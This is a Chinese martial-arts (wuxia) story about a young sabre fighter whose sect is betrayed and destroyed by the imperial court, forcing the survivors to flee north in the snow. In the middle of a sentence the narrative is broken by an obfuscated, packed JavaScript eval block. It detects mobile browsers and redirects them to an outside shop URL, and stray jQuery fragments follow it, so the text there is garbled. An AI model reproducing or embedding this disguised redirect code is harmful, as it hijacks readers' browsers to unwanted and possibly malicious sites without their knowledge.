我叫闻歌,“忽闻岸上踏歌声”的“闻歌”,相识的长辈都叫我小曲。
我今年才十七岁,却是练了十二年刀法的老刀客,并且师承天下第一剑宗——勒马山不归派。
你问我为什么在剑宗学习刀法?
唉,说来话长,我本也是一位根骨上佳的练剑奇才,奈何脑子有些笨,智力跟不上武力。剑有双刃,刃刃锋利,豪气十足。尽管母亲教我把剑指向前方,剑刃向外挥,可我挥剑时依旧总收不住力,把剑舞自己身上,把自己弄伤。
于是我在父母的叹息声中弃剑从刀,成了不归派百年来第一个刀客。
不归派当了上百年的剑术大宗,门派里没有刀法相关的典籍供我学习。不过我也不在意,反正我从四岁识字时就发现自己对文字一窍不通,字看完就忘,诗句死活记不住。父亲身为名扬四海的儒侠,常被我气得苦笑不得,母亲慈爱,总笑着说我是个“莽”侠。
她说,莽侠好,直来直往,恣意潇洒,赤条条来去无牵挂。
后来的后来我发现母亲说的对,我一辈子学不会柔肠百转,学不会圆滑——这是后话。
日子就这么走着,在父亲无奈的笑意里走着,在母亲慈祥的目光中走着。
我虽然脑子笨,但身体对武功的悟性高得出奇。父亲用剑教我招式,我三回合以内就能融通成刀法。每当我展现出惊人的武功天赋时,古板严格的父亲也会面带笑意,他说小曲你以后定能名满江湖,我回应道我定会成为比爹爹你还要厉害的大侠。
幼年时候的豪言壮语被裹挟在了“一言为定”的笑语里,跟着勒马山的杨花落了一地。
变故发生在我七岁那年。
五岁那年杨花似雪,而后来雪似杨花。
那是我这一生中第一次见到雪,那雪没有落在勒马山,不归派也没有被瑞雪庇佑,而我,也在那一年离开了勒马山。
我说过了,我的父亲,不归派掌门柳霜天,是个颇有名望的儒侠。
儒侠,儒侠。且问何为儒侠?
有儒学风范的大侠。一要才学,满腹经纶;二要“入世”,死而后已。
我年幼的时候,江湖混乱,当时山匪占山称王,朝廷派来剿匪的军马不敢上山,便把这生死活儿丢给了江湖中人。
那年朝廷要不归派出动,去剿灭勒马山的一处山匪。
江湖之大,鱼龙混杂。江湖里素来黑白不分,侠匪并行,谁也不太有孰贼孰士、孰匪孰侠的观念。
但朝廷不一样,朝廷招安,你归依了就是居江湖之远的“白衣卿相”,你不归依就是居心叵测的土匪草寇、乱臣贼子。
而父亲,就归依了朝廷。
这番道理还是后来遇见的一个人讲给我的。
我当年年幼无知,只记得那天门派里出动了许多人,乌泱泱的人群浩浩汤汤,前往勒马山的另一座山峰,去围剿山匪,来回馈朝廷。
我毕竟才七岁,武功再强父母亲也不可能派我上场。于是我跟着门派中的一位师姐待在宗门里。
这位师姐善用暗器,名唤沉玉,比我大了十六岁,是个自小生在江湖的姑娘。她漂亮高挑,伶俐聪慧,是我从小就很崇拜的一位师姐。由于前些日子做任务时负了伤,沉玉没有参与剿匪的行动,而是在宗门里陪伴我。毕竟剿匪这种小事,还用不着沉玉这样的伤员上场。
我还记得父亲原本计划凯旋的那天,很晚很晚了宗门前也不见人影。
那时候正是深秋,山中本就阴凉,气温又降了很多,我练刀的时候总是嫌热不愿增添衣物,于是不幸得了风寒。
我浑浑噩噩地睡了一天,醒来的时候天色已经很暗了,可宗门里依旧冷冷清清,听不见凯旋的欢呼声。我顿时有种不好的预感,强撑着脑袋的混沌疼痛,走到了房间门口。
沉玉师姐正站在我门前,背对着我,和她站在一起的还有一位我不认识的师姐。我开门,她听见了声音,转过头来看见我,愣了愣,问道:“小曲,你醒了?”
我觉得沉玉师姐有事瞒着我,以她的聪慧程度,绝不会问我这种没用的话。
但我还是老实点头,问她:“玉姐姐,阿娘和爹爹呢?怎么还没人回来呀?”
沉玉师姐没有一瞬间的沉默,她几乎是脱口而出道:“掌门和夫人刚派人来过信了,说是那边山匪众多,剿灭完那群人,也得花点时间收拾。”
我从来对沉玉师姐的话深信不疑,因为在我眼里,她一直是可靠而真诚的存在。
可是这次是场意外,沉玉师姐对我说的话真假掺半。
不归派确实成功剿灭了那群山匪,但也算两败俱伤,门派里损失的人不算少。江湖里的人出招从不讲路数礼仪,交手的刹那间便入眼皆是刀光剑影,血雨腥风。所以,正常的战损是在大家的意料之内的。
但意外的是,朝廷竟然趁机派来了兵马,却并不是协助不归派剿匪,而是“鹬蚌相争,渔翁得利”,在双方战完后对不归派一网打尽。
毕竟在朝廷眼里,江湖里的门派皆是祸害。
可我当时年岁实在太小,我明白不了这么复杂的道理,我只记得那天晚上夜幕沉沉,我守着窗,望着外面一片漆黑了,等到再次睡着也没有等到阿娘和爹爹归来。
最后回到宗门的人,不到二十个。
幸运的是,母亲虽然受了重伤,但还活着;不幸的是,父亲作为门派掌门,身先士卒,我永远无法与他再见一面。
勒马山是不能再待了,我们要走,要远行,要逃命。
成王败寇,胜者生存。不归派没有胜过朝廷,勒马山便留不得我们。
母亲重伤未愈,便担当起了掌门的责任,清点了不归派剩下的人马,启程离开勒马山。
人马稀疏又有序地向远方走去,一切事物都寂静着,像是无声的哀歌。母亲无法带走父亲的尸首,只保留了父亲剑上的剑穗。父亲死前还在用的那个剑穗,我很小的时候给父亲挑的。
我不记得了,母亲便给讲给我听:那年父母亲带我上街玩,父亲抱着我看摊贩们卖的剑穗,然后打趣地问我要给爹爹挑哪个。我随手一指的剑穗,父亲在爱剑上挂了好多年。
山路上马车晃悠悠,我最后回头看了眼勒马山,它还是那样巍峨耸立,我一直登不上的山顶仿佛明晃晃地插上了朝廷的旌旗,山上的官兵似乎是畏缩了一般,我竟看不到这些胜利者的踪影。
只一回头不要紧,在我愣神的片刻,我已经泪流满面。
我不明白我为什么流泪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886455|212559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,回头看见大人们也都兀自悲伤的神情,便更迷茫了。
方才听说平日里相识的人命陨之时我已经哭过一次了,为何这时候已经离开,我还会看着那毫无人情的山掉眼泪?
有句话叫“物是人非事事休”,那时候我还不懂。
可人的身体到底比脑子动作快,我还没有把道理弄明白,就“欲语泪先流”了。
看见我潸然泪下,沉玉师姐一只手拉着我的手,一只手给我擦去脸颊的眼泪,温柔地对我说,“小曲,答应你玉姐姐,今日离开就别回来,仇是报不完的,你总要往前看。”
我说:“好。”
可我誓要做个顶天立地的大侠,定不会再让歹人欺负。这话太大,我没敢说出来。
深秋时节,秋风阵阵,吹落满地黄叶。
“玉姐姐,我答应你,我不报仇。”我听见我说,那声音带着哽咽。
我才七岁,我怎么可能完全听懂沉玉师姐的话?那句哽咽的话,无非只是知道了,我再也回不来勒马山。
我又问:“可是我以后是不是没有家了?”
在记忆里,勒马山就是家,可在眼前的勒马山,是被歹人侵占的地方,是让好多江湖侠客亡命的炼狱,是萦绕我几日的梦魇,是不敢提及不敢回想的故土。
沉玉师姐没有说话,前面的母亲先回了头,她笑了,却掩不住疲惫和哀愁。
“小曲啊,别怕,有我们的地方就是家。”
秋风话斜阳,夕阳下的秋色真的很漂亮,可我心里闷闷的,仍旧高兴不起来。
勒马山居于京城南面,刚好越过了秦岭淮河一线,离开那里后我们绕过京城一路北上,因为官府的思路是向南来绞杀江湖,于是南方是留不久的,我们只能侥幸地逃到北方,逃到了一个冬日会下雪的地方。
我们从深秋一直走到冬天,北方的冬天会下雪。这是我这一生中第一次见到雪,这雪没有落在勒马山,而我也没有在勒马山。
母亲曾对我说,冬雪是祥瑞之兆。
而现在她又告诉我,我们再走一段路,走到春天,春回大地、万物复苏,一切都会安宁了。
这一程路远山险,幸蒙瑞雪兆丰年。
这皑皑白雪,恰似杨花满天。
母亲是个才女,在她的熏陶下,我也翻看过几本诗词读物,心里想着一定要做一个以理服人的文化侠客,只可惜我实在没有学诗作赋的天资,拗口的诗词歌赋在我看来冗长枯燥。
可有一句“杨花落尽子规啼”却叫我经年不忘。我的理由简单幼稚:我只是不明白这么漂亮的杨花为什么用来做离别的意象,大人们可真是奇怪,看到这么柔软美好的场面,究竟悲伤些什么?
此刻却好像有一把钥匙撬开了心门,心门外面的风冰冷刺骨又夹杂着血气,叫我不得不面对。
原来那杨花,是雪的样子啊。
雪的确凄凉而令人悲伤。
那年的雪是真的很大,也或许是我第一次见雪,觉得它很大,总之,它足够埋葬很多东西,勒马山的人命,路上的车轱辘,母亲重伤未愈又奔波操心的垂危性命……
还有我从小藏在心里的梦想,做一个大侠的梦想,也同样藏在这场雪里,等待多年以后的我开启。